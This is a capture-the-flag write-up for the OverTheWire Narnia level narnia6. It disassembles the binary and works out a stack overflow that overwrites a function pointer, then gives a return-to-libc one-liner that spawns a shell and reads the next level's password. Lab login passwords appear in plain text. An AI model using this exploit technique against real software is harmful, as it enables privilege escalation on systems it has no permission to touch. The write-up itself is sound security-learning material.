narnia6
How to log into Narnia:
ssh -p 2226 narnia6@narnia.labs.overthewire.org
Password: neezocaeng
Where to find all of the challenges:
cd /narnia/
Try running:
1
2
3
4
|
narnia6@narnia:/narnia$ ./narnia6
./narnia6 b1 b2
narnia6@narnia:/narnia$ ./narnia6 AAAA BBBB
AAAA
|
Two different buffers are passed via args. Time to take a look at objdump and see how these are used.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
|
narnia6@narnia:/narnia$ objdump -M intel -d narnia6 | awk -F"\n" -v RS="\n\n" '$1 ~ /main>/'
080485a8 <main>:
80485a8: 55 push ebp
80485a9: 89 e5 mov ebp,esp
80485ab: 53 push ebx
80485ac: 83 ec 18 sub esp,0x18
80485af: c7 45 f4 30 84 04 08 mov DWORD PTR [ebp-0xc],0x8048430
80485b6: 83 7d 08 03 cmp DWORD PTR [ebp+0x8],0x3
80485ba: 74 1a je 80485d6 <main+0x2e>
80485bc: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80485bf: 8b 00 mov eax,DWORD PTR [eax]
80485c1: 50 push eax
80485c2: 68 80 87 04 08 push 0x8048780
80485c7: e8 34 fe ff ff call 8048400 <printf@plt>
80485cc: 83 c4 08 add esp,0x8
80485cf: 6a ff push 0xffffffff
80485d1: e8 6a fe ff ff call 8048440 <exit@plt>
80485d6: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0
80485dd: eb 39 jmp 8048618 <main+0x70>
80485df: a1 e8 99 04 08 mov eax,ds:0x80499e8
80485e4: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
80485e7: c1 e2 02 shl edx,0x2
80485ea: 01 d0 add eax,edx
80485ec: 8b 00 mov eax,DWORD PTR [eax]
80485ee: 50 push eax
80485ef: e8 6c fe ff ff call 8048460 <strlen@plt>
80485f4: 83 c4 04 add esp,0x4
80485f7: 89 c1 mov ecx,eax
80485f9: a1 e8 99 04 08 mov eax,ds:0x80499e8
80485fe: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
8048601: c1 e2 02 shl edx,0x2
8048604: 01 d0 add eax,edx
8048606: 8b 00 mov eax,DWORD PTR [eax]
8048608: 51 push ecx
8048609: 6a 00 push 0x0
804860b: 50 push eax
804860c: e8 6f fe ff ff call 8048480 <memset@plt>
8048611: 83 c4 0c add esp,0xc
8048614: 83 45 f8 01 add DWORD PTR [ebp-0x8],0x1
8048618: a1 e8 99 04 08 mov eax,ds:0x80499e8
804861d: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
8048620: c1 e2 02 shl edx,0x2
8048623: 01 d0 add eax,edx
8048625: 8b 00 mov eax,DWORD PTR [eax]
8048627: 85 c0 test eax,eax
8048629: 75 b4 jne 80485df <main+0x37>
804862b: c7 45 f8 03 00 00 00 mov DWORD PTR [ebp-0x8],0x3
8048632: eb 3d jmp 8048671 <main+0xc9>
8048634: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048637: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0]
804863e: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048641: 01 d0 add eax,edx
8048643: 8b 00 mov eax,DWORD PTR [eax]
8048645: 50 push eax
8048646: e8 15 fe ff ff call 8048460 <strlen@plt>
804864b: 83 c4 04 add esp,0x4
804864e: 89 c2 mov edx,eax
8048650: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048653: 8d 0c 85 00 00 00 00 lea ecx,[eax*4+0x0]
804865a: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804865d: 01 c8 add eax,ecx
804865f: 8b 00 mov eax,DWORD PTR [eax]
8048661: 52 push edx
8048662: 6a 00 push 0x0
8048664: 50 push eax
8048665: e8 16 fe ff ff call 8048480 <memset@plt>
804866a: 83 c4 0c add esp,0xc
804866d: 83 45 f8 01 add DWORD PTR [ebp-0x8],0x1
8048671: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048674: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0]
804867b: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804867e: 01 d0 add eax,edx
8048680: 8b 00 mov eax,DWORD PTR [eax]
8048682: 85 c0 test eax,eax
8048684: 75 ae jne 8048634 <main+0x8c>
8048686: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048689: 83 c0 04 add eax,0x4
804868c: 8b 00 mov eax,DWORD PTR [eax]
804868e: 50 push eax
804868f: 8d 45 ec lea eax,[ebp-0x14]
8048692: 50 push eax
8048693: e8 88 fd ff ff call 8048420 <strcpy@plt>
8048698: 83 c4 08 add esp,0x8
804869b: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804869e: 83 c0 08 add eax,0x8
80486a1: 8b 00 mov eax,DWORD PTR [eax]
80486a3: 50 push eax
80486a4: 8d 45 e4 lea eax,[ebp-0x1c]
80486a7: 50 push eax
80486a8: e8 73 fd ff ff call 8048420 <strcpy@plt>
80486ad: 83 c4 08 add esp,0x8
80486b0: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
80486b3: 25 00 00 00 ff and eax,0xff000000
80486b8: 89 c3 mov ebx,eax
80486ba: e8 dc fe ff ff call 804859b <get_sp>
80486bf: 39 c3 cmp ebx,eax
80486c1: 75 07 jne 80486ca <main+0x122>
80486c3: 6a ff push 0xffffffff
80486c5: e8 76 fd ff ff call 8048440 <exit@plt>
80486ca: e8 41 fd ff ff call 8048410 <geteuid@plt>
80486cf: 89 c3 mov ebx,eax
80486d1: e8 3a fd ff ff call 8048410 <geteuid@plt>
80486d6: 53 push ebx
80486d7: 50 push eax
80486d8: e8 73 fd ff ff call 8048450 <setreuid@plt>
80486dd: 83 c4 08 add esp,0x8
80486e0: 8d 45 ec lea eax,[ebp-0x14]
80486e3: 50 push eax
80486e4: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
80486e7: ff d0 call eax
80486e9: 83 c4 04 add esp,0x4
80486ec: 6a 01 push 0x1
80486ee: e8 4d fd ff ff call 8048440 <exit@plt>
80486f3: 66 90 xchg ax,ax
80486f5: 66 90 xchg ax,ax
80486f7: 66 90 xchg ax,ax
80486f9: 66 90 xchg ax,ax
80486fb: 66 90 xchg ax,ax
80486fd: 66 90 xchg ax,ax
80486ff: 90 nop
|
First up is to reserve 0x18 (24 bytes) on the stack:
1
|
80485ac: 83 ec 18 sub esp,0x18
|
Taking a quick peek at this address: 0x8048430, seems to correspond to the puts function:
1
2
3
4
|
08048430 <puts@plt>:
8048430: ff 25 c8 99 04 08 jmp DWORD PTR ds:0x80499c8
8048436: 68 18 00 00 00 push 0x18
804843b: e9 b0 ff ff ff jmp 80483f0 <.plt>
|
So, store the address of a function onto the stack:
1
|
80485af: c7 45 f4 30 84 04 08 mov DWORD PTR [ebp-0xc],0x8048430
|
Per usual we see that this is likely looking at argc (argv seems to start at 0xc):
1
|
80485b6: 83 7d 08 03 cmp DWORD PTR [ebp+0x8],0x3
|
And doing a comparison for 3, so the application is expecting ONLY two inputs:
1
2
|
narnia6@narnia:/narnia$ ./narnia6 a b c
./narnia6 b1 b2
|
If the comparison fails, then a usage message is printed out, and then exit the program:
1
2
3
4
5
6
7
8
|
80485bc: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
80485bf: 8b 00 mov eax,DWORD PTR [eax]
80485c1: 50 push eax
80485c2: 68 80 87 04 08 push 0x8048780
80485c7: e8 34 fe ff ff call 8048400 <printf@plt>
80485cc: 83 c4 08 add esp,0x8
80485cf: 6a ff push 0xffffffff
80485d1: e8 6a fe ff ff call 8048440 <exit@plt>
|
For completeness with gdb it is possible to see the contents of 0x8048780:
1
2
|
(gdb) x/s 0x8048780
0x8048780: "%s b1 b2\n"
|
Next up get a little weird, but the overall flow seems to indicate a loop similar to what was seen on narnia4. Keep in mind that main is 0x080485a8 .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
80485d6: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0
80485dd: eb 39 jmp 8048618 <main+0x70>
80485df: a1 e8 99 04 08 mov eax,ds:0x80499e8
80485e4: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
80485e7: c1 e2 02 shl edx,0x2
80485ea: 01 d0 add eax,edx
80485ec: 8b 00 mov eax,DWORD PTR [eax]
80485ee: 50 push eax
80485ef: e8 6c fe ff ff call 8048460 <strlen@plt>
80485f4: 83 c4 04 add esp,0x4
80485f7: 89 c1 mov ecx,eax
80485f9: a1 e8 99 04 08 mov eax,ds:0x80499e8
80485fe: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
8048601: c1 e2 02 shl edx,0x2
8048604: 01 d0 add eax,edx
8048606: 8b 00 mov eax,DWORD PTR [eax]
8048608: 51 push ecx
8048609: 6a 00 push 0x0
804860b: 50 push eax
804860c: e8 6f fe ff ff call 8048480 <memset@plt>
8048611: 83 c4 0c add esp,0xc
8048614: 83 45 f8 01 add DWORD PTR [ebp-0x8],0x1
8048618: a1 e8 99 04 08 mov eax,ds:0x80499e8
804861d: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
8048620: c1 e2 02 shl edx,0x2
8048623: 01 d0 add eax,edx
8048625: 8b 00 mov eax,DWORD PTR [eax]
8048627: 85 c0 test eax,eax
8048629: 75 b4 jne 80485df <main+0x37>
|
First, initialize the loop counter:
1
|
80485d6: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0
|
So here’s where things get weird, the very next thing is to actually jump past everything that would happen, so given that main is 0x080485a8 + 0x70 = 0x08048618:
1
|
80485dd: eb 39 jmp 8048618 <main+0x70>
|
Takes the program to here:
1
|
8048618: a1 e8 99 04 08 mov eax,ds:0x80499e8
|
A quick peek with objdmp, we can see that the data segment corresponds to the environ again.
1
|
080499e8 <__environ@@GLIBC_2.0>
|
The next few lines of assembly deal with getting the current value of the loop counter and then using that to index into envrion, aka envrion[i]:
1
2
3
4
|
804861d: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
8048620: c1 e2 02 shl edx,0x2
8048623: 01 d0 add eax,edx
8048625: 8b 00 mov eax,DWORD PTR [eax]
|
After that it’s tested to see if the value is 0, if not then jump back to an earlier point in the program and do the real work. This is a bit counter intuitive as a loop in C looks like:
1
2
3
|
for (int i = 0; i < 10; i++) {
// do something
}
|
And it stands to reason that the execution would be initialize a the variable, test, then jump. More details about this can be found here.
Now that we have a rough idea that this loop seems to be dealing with environ, it should be easier to put together what is actually happening inside of the loop. The following code gets the strlen of environ[i] and then stores the result into $ecx.
1
2
3
4
5
6
7
8
9
|
80485df: a1 e8 99 04 08 mov eax,ds:0x80499e8
80485e4: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
80485e7: c1 e2 02 shl edx,0x2
80485ea: 01 d0 add eax,edx
80485ec: 8b 00 mov eax,DWORD PTR [eax]
80485ee: 50 push eax
80485ef: e8 6c fe ff ff call 8048460 <strlen@plt>
80485f4: 83 c4 04 add esp,0x4
80485f7: 89 c1 mov ecx,eax
|
After that it gets the address of environ[i], puts that on the stack, along with NULL, and the previous sorted out strlen value, followed by a call to memset.
1
2
3
4
5
6
7
8
9
|
80485f9: a1 e8 99 04 08 mov eax,ds:0x80499e8
80485fe: 8b 55 f8 mov edx,DWORD PTR [ebp-0x8]
8048601: c1 e2 02 shl edx,0x2
8048604: 01 d0 add eax,edx
8048606: 8b 00 mov eax,DWORD PTR [eax]
8048608: 51 push ecx
8048609: 6a 00 push 0x0
804860b: 50 push eax
804860c: e8 6f fe ff ff call 8048480 <memset@plt>
|
The next bit of code does something very similar except that it doesn’t memset the environ, but instead something else, another notable thing is that the loop counter starts at 0x3 instead of 0x1:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
804862b: c7 45 f8 03 00 00 00 mov DWORD PTR [ebp-0x8],0x3
8048632: eb 3d jmp 8048671 <main+0xc9>
8048634: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048637: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0]
804863e: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048641: 01 d0 add eax,edx
8048643: 8b 00 mov eax,DWORD PTR [eax]
8048645: 50 push eax
8048646: e8 15 fe ff ff call 8048460 <strlen@plt>
804864b: 83 c4 04 add esp,0x4
804864e: 89 c2 mov edx,eax
8048650: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048653: 8d 0c 85 00 00 00 00 lea ecx,[eax*4+0x0]
804865a: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804865d: 01 c8 add eax,ecx
804865f: 8b 00 mov eax,DWORD PTR [eax]
8048661: 52 push edx
8048662: 6a 00 push 0x0
8048664: 50 push eax
8048665: e8 16 fe ff ff call 8048480 <memset@plt>
804866a: 83 c4 0c add esp,0xc
804866d: 83 45 f8 01 add DWORD PTR [ebp-0x8],0x1
8048671: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048674: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0]
804867b: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804867e: 01 d0 add eax,edx
8048680: 8b 00 mov eax,DWORD PTR [eax]
8048682: 85 c0 test eax,eax
8048684: 75 ae jne 8048634 <main+0x8c>
|
Once again this seems to be operating on argv[]:
1
|
804863e: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
|
And this is calculating the index into argv based on the loop counter (starting at 3) on the stack:
1
2
3
4
5
|
8048634: 8b 45 f8 mov eax,DWORD PTR [ebp-0x8]
8048637: 8d 14 85 00 00 00 00 lea edx,[eax*4+0x0]
804863e: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048641: 01 d0 add eax,edx
8048643: 8b 00 mov eax,DWORD PTR [eax]
|
Followed by a strlen, and a memset to NULL.
So what we have now is two loops that NULL out both the environ and any arguments > argv[3]. Remember, argv[0] = binary, argv[1] = b1, argv[2] = b2.
After that it looks like the contents of argv[1] and argv[2] are copied into some buffers on the stack:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
8048686: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
8048689: 83 c0 04 add eax,0x4
804868c: 8b 00 mov eax,DWORD PTR [eax]
804868e: 50 push eax
804868f: 8d 45 ec lea eax,[ebp-0x14]
8048692: 50 push eax
8048693: e8 88 fd ff ff call 8048420 <strcpy@plt>
8048698: 83 c4 08 add esp,0x8
804869b: 8b 45 0c mov eax,DWORD PTR [ebp+0xc]
804869e: 83 c0 08 add eax,0x8
80486a1: 8b 00 mov eax,DWORD PTR [eax]
80486a3: 50 push eax
80486a4: 8d 45 e4 lea eax,[ebp-0x1c]
80486a7: 50 push eax
80486a8: e8 73 fd ff ff call 8048420 <strcpy@plt>
|
Going back to how much we allocated on the stack, it should be possible to deduce the size of these buffers (keeping in mind that $esp starts 4 bytes lower than $ebp, which is why the math for calculation the locations of the buffers looks off):
1
|
80485ac: 83 ec 18 sub esp,0x18
|
A function pointer on the stack (4 bytes), so this becomes 0xc - 0x4(for offsetting to $esp) - 0x4 to get to $ebp-0x4.
1
|
80485af: c7 45 f4 30 84 04 08 mov DWORD PTR [ebp-0xc],0x8048430
|
A loop counter (4 bytes):
1
|
80485d6: c7 45 f8 00 00 00 00 mov DWORD PTR [ebp-0x8],0x0
|
A buffer (buffer1), same deal here 0x14 - 0x4 (for offsetting to $esp) = 0x10 - (0xc - 0x4) = 0x8 (8 bytes):
1
|
804868f: 8d 45 ec lea eax,[ebp-0x14]
|
Another buffer (buffer2), same deal here another 8 bytes:
1
|
80486a4: 8d 45 e4 lea eax,[ebp-0x1c]
|
This lines up with what we reserved on the stack, 8 bytes for buf1, 8 bytes for buf2, 4 bytes for the function pointer, and 4 bytes for the loop counter. The purpose of that exercise is to highlight that argv is being copied into a buffer that only has 8 bytes avail to it. Seems like an easy place to exploit some sort of an overflow. Next up is some strange comparison with the function pointer. First move the address of the function pointer into $eax, then AND with 0xff000000 (storing the result into $eax).
1
2
3
|
80486b0: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc]
80486b3: 25 00 00 00 ff and eax,0xff000000
80486b8: 89 c3 mov ebx,eax
|
The actual comparison
1
2
|
80486ba: e8 dc fe ff ff call 804859b <get_sp>
80486bf: 39 c3 cmp ebx,eax
|
If the comparison succeeds the program just exits right away. If they aren’t equal, then it goes on to execute some interesting code - the good o’le getuid, and setreuid:
1
2
3
4
5
6
7
|
80486ca: e8 41 fd ff ff call 8048410 <geteuid@plt>
80486cf: 89 c3 mov ebx,eax
80486d1: e8 3a fd ff ff call 8048410 <geteuid@plt>
80486d6: 53 push ebx
80486d7: 50 push eax
80486d8: e8 73 fd ff ff call 8048450 <setreuid@plt>
80486dd: 83 c4 08 add esp,0x8
|
This gets buffer1 and then provides that as input to the function pointer of puts that’s on the stack.
1
2
3
4
|
80486e0: 8d 45 ec lea eax,[ebp-0x14] # Addr of buffer1
80486e3: 50 push eax
80486e4: 8b 45 f4 mov eax,DWORD PTR [ebp-0xc] # Addr of puts
80486e7: ff d0 call eax
|
With all of this we can start crafting an exploit. First, it’s easy to take control over the $eip:
1
2
3
4
5
6
7
|
narnia6@narnia:/narnia$ gdb -q narnia6
Reading symbols from narnia6...(no debugging symbols found)...done.
(gdb) r AAAABBBBCCCC DDDDEEEEFFFF
Starting program: /narnia/narnia6 AAAABBBBCCCC DDDDEEEEFFFF
Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
|
Looking at the stack shows a better picture of what has happened:
After the first copy:
1
2
3
4
5
6
|
(gdb) x/20xw $esp
0xffffd684: 0xffffd694 0xffffd881 0x08048721 0xf7fc53dc
0xffffd694: 0x41414141 0x42424242 0x43434343 0x00000000
0xffffd6a4: 0x00000000 0x00000000 0xf7e2a286 0x00000003
0xffffd6b4: 0xffffd744 0xffffd754 0x00000000 0x00000000
0xffffd6c4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
|
After the second copy:
1
2
3
4
5
6
|
(gdb) x/20xw $esp
0xffffd684: 0xffffd68c 0xffffd88e 0x44444444 0x45454545
0xffffd694: 0x46464646 0x42424200 0x43434343 0x00000000
0xffffd6a4: 0x00000000 0x00000000 0xf7e2a286 0x00000003
0xffffd6b4: 0xffffd744 0xffffd754 0x00000000 0x00000000
0xffffd6c4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
|
Something to keep in mind here, both of the buffers are too small to store the shellcode that was created in narnia1. So we need to rely on some other method for getting some system call to a shell to be made. What comes to mind since we have buffer limitations is the Return-To-LibC Exploit that was used for narnia4. Grabbing the address of system it is possible to craft and exploit that allows for calling system and using the second buffer as a way to provide a known address for /bin/sh:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
(gdb) r $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')
Starting program: /narnia/narnia6 $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')
Breakpoint 1, 0x080485ac in main ()
(gdb) b *0x080486ad
Breakpoint 2 at 0x80486ad
(gdb) c
Continuing.
Breakpoint 2, 0x080486ad in main ()
(gdb) x/40xw $esp
0xffffd674: 0xffffd67c 0xffffd88b 0x42424242 0x42424242
0xffffd684: 0x6e69622f 0x0068732f 0xf7e4c850 0x00000000
0xffffd694: 0x00000000 0x00000000 0xf7e2a286 0x00000003
0xffffd6a4: 0xffffd734 0xffffd744 0x00000000 0x00000000
0xffffd6b4: 0x00000000 0xf7fc5000 0xf7ffdc0c 0xf7ffd000
0xffffd6c4: 0x00000000 0x00000003 0xf7fc5000 0x00000000
0xffffd6d4: 0x3257cff0 0x08be03e0 0x00000000 0x00000000
0xffffd6e4: 0x00000000 0x00000003 0x080484a0 0x00000000
0xffffd6f4: 0xf7fee710 0xf7e2a199 0xf7ffd000 0x00000003
0xffffd704: 0x080484a0 0x00000000 0x080484c1 0x080485a8
|
The B’s from the exploit can be found here: 0x42424242 0x42424242
/bin/sh found here: 0x6e69622f 0x0068732f
Address of system here: 0xf7e4c850
And the real run:
1
2
3
|
narnia6@narnia:/narnia$ ./narnia6 $(python -c 'print "A"*8 + "\x50\xc8\xe4\xf7"') $(python -c 'print "B"*8 + "/bin/sh"')
$ whoami
narnia7
|
And the password:
1
2
|
$ cat /etc/narnia_pass/narnia7
ahkiaziphu
|
A bit more on the loops
To further unravel the mystery of what the assembly structured the loop in this manner, I went over to https://godbolt.org and used the source from narnia6.c. It turns out with gcc versions prior to 5.x, the loops are structured like the assembly we found when dumping the binary for narnia6. With newer versions of gcc, the structure is more like I was expecting:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
mov dword ptr [rbp - 44], 0
.LBB1_3: # =>This Inner Loop Header: Depth=1
mov rax, qword ptr [environ]
movsxd rcx, dword ptr [rbp - 44]
cmp qword ptr [rax + 8*rcx], 0
je .LBB1_6
xor esi, esi
mov rax, qword ptr [environ]
movsxd rcx, dword ptr [rbp - 44]
mov rdi, qword ptr [rax + 8*rcx]
mov rax, qword ptr [environ]
movsxd rcx, dword ptr [rbp - 44]
mov rax, qword ptr [rax + 8*rcx]
mov qword ptr [rbp - 56], rdi # 8-byte Spill
mov rdi, rax
mov dword ptr [rbp - 60], esi # 4-byte Spill
call strlen
mov rdi, qword ptr [rbp - 56] # 8-byte Reload
mov esi, dword ptr [rbp - 60] # 4-byte Reload
mov rdx, rax
call memset
mov eax, dword ptr [rbp - 44]
add eax, 1
mov dword ptr [rbp - 44], eax
jmp .LBB1_3
|
I’ve tried briefly digging to determine why this was happening in the earlier versions of gcc, but didn’t turn up anything obvious.